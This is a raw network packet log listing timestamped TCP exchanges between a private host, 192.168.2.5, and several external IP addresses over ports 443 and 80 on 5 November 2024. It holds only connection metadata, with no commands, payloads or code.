Nov 5, 2024 10:13:49.967924118 CET	49963	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.967946053 CET	443	49963	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.968374014 CET	49963	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.968379021 CET	443	49963	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.971240044 CET	443	49962	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.971364021 CET	443	49962	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.971410036 CET	443	49962	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.971441031 CET	49962	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.971476078 CET	49962	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.971496105 CET	49962	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.971513033 CET	443	49962	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.971530914 CET	49962	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.971538067 CET	443	49962	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.973695993 CET	49970	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.973721981 CET	443	49970	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.973788023 CET	49970	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.973897934 CET	49970	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.973907948 CET	443	49970	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.975167036 CET	443	49964	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.975444078 CET	49964	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.975475073 CET	443	49964	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.975841999 CET	49964	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.975848913 CET	443	49964	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.978038073 CET	443	49965	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.978323936 CET	49965	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.978336096 CET	443	49965	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.978737116 CET	49965	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.978741884 CET	443	49965	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.022834063 CET	443	49966	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.023215055 CET	49966	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.023232937 CET	443	49966	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.023578882 CET	49966	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.023582935 CET	443	49966	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.033108950 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.033126116 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.033200026 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.033206940 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.033246040 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.060086012 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060101032 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060112953 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060125113 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060137987 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060149908 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060153008 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.060184002 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.060523033 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060832977 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060848951 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060856104 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060861111 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060870886 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.060916901 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.060930014 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.077363968 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.077387094 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.077439070 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.077445984 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.077481985 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.107017040 CET	443	49963	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.107297897 CET	443	49963	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.107379913 CET	49963	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.107438087 CET	49963	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.107454062 CET	443	49963	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.107465029 CET	49963	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.107470036 CET	443	49963	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.110095024 CET	49971	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.110135078 CET	443	49971	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.110301018 CET	49971	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.112550020 CET	49971	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.112575054 CET	443	49971	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.114761114 CET	443	49964	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.114820957 CET	443	49964	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.114876986 CET	49964	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.115104914 CET	49964	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.115104914 CET	49964	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.115120888 CET	443	49964	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.115129948 CET	443	49964	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.116980076 CET	443	49965	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.117058992 CET	443	49965	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.117127895 CET	49965	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.117543936 CET	49965	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.117543936 CET	49965	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.117561102 CET	443	49965	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.117569923 CET	443	49965	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.118374109 CET	49972	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.118392944 CET	443	49972	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.118571043 CET	49972	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.118810892 CET	49972	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.118822098 CET	443	49972	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.120126963 CET	49973	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.120145082 CET	443	49973	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.120215893 CET	49973	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.120347977 CET	49973	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.120362997 CET	443	49973	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.141783953 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:50.141808987 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:50.141988039 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:50.142309904 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:50.142324924 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:50.152658939 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.152678967 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.152770042 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.152777910 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.153343916 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.158320904 CET	443	49966	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.158592939 CET	443	49966	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.158632040 CET	443	49966	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.158688068 CET	49966	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.158777952 CET	49966	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.158785105 CET	443	49966	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.158814907 CET	49966	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.158818960 CET	443	49966	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.160732031 CET	49975	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.160746098 CET	443	49975	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.160813093 CET	49975	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.160991907 CET	49975	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.160998106 CET	443	49975	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.176644087 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.176687002 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.176697016 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.176700115 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.176712990 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.176733971 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.176774025 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.177018881 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.177050114 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.177061081 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.177067041 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.177108049 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.177428961 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.177439928 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.177448034 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.177495003 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.177495003 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.177547932 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.177557945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.177592039 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.178668976 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.178745985 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.219019890 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.219032049 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.219119072 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.271074057 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.271095991 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.271147013 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.271152973 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.271250963 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.271250963 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.293735981 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.293761969 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.293793917 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.293817997 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.293848991 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.293987036 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.294039965 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.294056892 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.294063091 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.294070959 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.294087887 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.294101954 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.294123888 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.294135094 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.294173956 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.294897079 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.294919014 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.294971943 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.295114040 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.295140028 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.295150042 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.295187950 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.336091995 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.336148024 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.336149931 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.336215019 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.389638901 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.389666080 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.389725924 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.389750957 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.389890909 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.411056042 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.411082983 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.411114931 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.411125898 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.411125898 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.411144018 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.411159039 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.411159992 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.411173105 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.411195993 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.411216021 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.411222935 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.411232948 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.411266088 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.411974907 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.412019968 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.412050962 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.412061930 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.412173986 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.412329912 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.412339926 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.412348986 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.412363052 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.412374020 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.412401915 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.453289986 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.453325987 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.453391075 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.481040955 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.481062889 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.481120110 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.481128931 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.481142998 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.481179953 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.510160923 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.510179043 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.510247946 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.510247946 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.510256052 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.510322094 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.527983904 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.528002024 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.528013945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.528036118 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.528053999 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.528202057 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.528295040 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.528310061 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.528321028 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.528331995 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.528345108 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.528378963 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.528767109 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.528809071 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.528820038 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.528830051 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.528847933 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.529100895 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.529145956 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.529201984 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.529277086 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.529354095 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.570662975 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.570688009 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.570698977 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.570744038 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.570760965 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.609988928 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:50.611203909 CET	49967	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:50.611232996 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:50.612471104 CET	49967	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:50.612476110 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:50.612524033 CET	49967	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:50.612531900 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:50.627892017 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.627908945 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.627964973 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.627964973 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.627974987 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.628041983 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.645490885 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.645541906 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.645607948 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.645628929 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.645638943 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.645652056 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.645670891 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.645670891 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.645680904 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.645704031 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.645725012 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.645737886 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.645749092 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.645760059 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.645768881 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.645787001 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.645797014 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.645798922 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.645811081 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.645828009 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.645847082 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.646423101 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.646447897 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.646471024 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.646481991 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.646544933 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.646594048 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.646636963 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.687717915 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.687786102 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.687798023 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.687809944 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.687845945 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.687896967 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.729669094 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.729691029 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.729783058 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.729783058 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.729794025 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.729850054 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.747311115 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.747332096 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.747399092 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.747406960 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:50.747477055 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:50.762290955 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.762325048 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.762336969 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.762352943 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.762375116 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.762435913 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.762475967 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.762490034 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.762501955 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.762546062 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.762588978 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.762959003 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.762996912 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.763008118 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.763012886 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.763044119 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.763371944 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.763384104 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.763395071 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.763437986 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.768464088 CET	443	49970	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.775105000 CET	49970	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.775139093 CET	443	49970	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.775574923 CET	49970	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:50.775579929 CET	443	49970	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:50.804900885 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.804919004 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.804930925 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.804944992 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.804955959 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:50.804979086 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.805011034 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:50.830851078 CET	443	49974	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:50.831100941 CET	49974	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:50.831125975 CET	443	49974	13.91.96.185	192.168.2.5
